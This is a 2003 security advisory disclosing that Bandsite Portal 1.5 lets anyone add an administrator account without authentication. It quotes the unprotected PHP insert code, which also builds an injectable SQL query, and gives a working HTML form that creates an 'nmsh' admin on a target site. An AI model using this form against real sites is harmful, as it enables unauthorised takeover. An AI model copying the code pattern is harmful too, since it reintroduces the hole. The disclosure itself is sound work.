[UNIX] Vulnerability in Bandsite Allows Gaining Admin Access

From: SecuriTeam (support_at_securiteam.com)
Date: 09/16/03

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Date: 16 Sep 2003 17:15:50 +0200

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      Vulnerability in Bandsite Allows Gaining Admin Access
    ------------------------------------------------------------------------

    SUMMARY

     <http://membres.lycos.fr/fluxx/bandwebsite.php> Bandsite is "an online
    portal system designed for Bands. Features: themes support, news posting,
    audio sections, guestbook, tour guide, an admin section to manage overall
    data and configurations, and more".

    A vulnerability in the product allows remote attackers to insert a new
    administrator account without requiring any special privileges.

    DETAILS

    Vulnerable systems:
     * Bandsite Portal System version 1.5

    Vulnerable code:
    switch ($section) {
    [...]
        case admins:
    if ($submit){
          $query = "INSERT INTO admin (name,pass,level) VALUES
    ('$name','$pass','1')";
          mysql_query($query) or die ("query failed");
          echo"The admin has been added!<br><a
    href=admin.php?section=admins>Back</a><br>";

    As you can see by simply sending a request using the following HTML:
    < form
    action=http://[target]/bandwebsite/admin.php?&Login=1&section=admins
    method=post>
       Name:< br>
    < input type=text name='name' value='nmsh' size="20">< br>
       Pass:< br>
    < input type=text name='pass' value='nmsh' size="20">< br>
    < input type=submit name='submit' value='send'>< br>
    </form>

    A new administrator named nmsh will be added with the password nmsh.

    Now by going to the following URL: http://[target]/bandwebsite/login.php
    and entering as the login name nmsh and as the password nmsh,
    administrative privileges can be gained.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nmsh_sa@yahoo.com>
    Nasser.M.Sh.

    ========================================

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